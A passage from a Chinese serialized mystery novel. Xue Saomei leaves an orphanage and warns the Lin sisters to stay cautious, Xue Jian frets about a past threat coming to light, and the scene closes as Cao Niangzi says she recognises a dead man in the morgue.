发出脚步声的人出现在门口。是阿橘,且只有阿橘。 迎着薛扫眉探询的目光,阿橘撇了撇嘴:“我和江管事理论了一番,她怒气冲冲,出门去了。” “可说什么没有?” “嗯……” “但说无妨。” “她说,不想看见大姑娘,请您早点离开,她才好回来。” 这话也不新鲜。薛扫眉不以为忤,从善如流:“时候不早,我们确实也该回去了。”她转向林家姊妹,和善道,“你们记得和兰兰阿姊说,这几日不太平,慈幼院应当尽量减少出入。若有什么需要,只管到薛宅来找我。” 这话里的暗示不难听懂。林家姊妹千恩万谢地应了。 *** 薛家马车在回程中,与面冷如铁的薛兼撞了个正着。 他问过车夫,知道薛扫眉是去慈幼院,而非在外行走,这才勉强按捺下火气,如往常一般静默地随侍在旁。 但薛兼心底并不宁静。林家姊妹眼下就在慈幼院,而他曾当着林家小丫头的面,威胁过她母亲……不知她对薛扫眉透露了多少。回宅之后,需得好好问过阿橘才是。 他并没料到,阿橘对林家姊妹和薛扫眉说了什么,竟然一无所知。 就像陆缥也不曾料想,曹娘子在府衙尸房中,见过横死路边那人的尸体后,竟会这样说—— “我认识他。”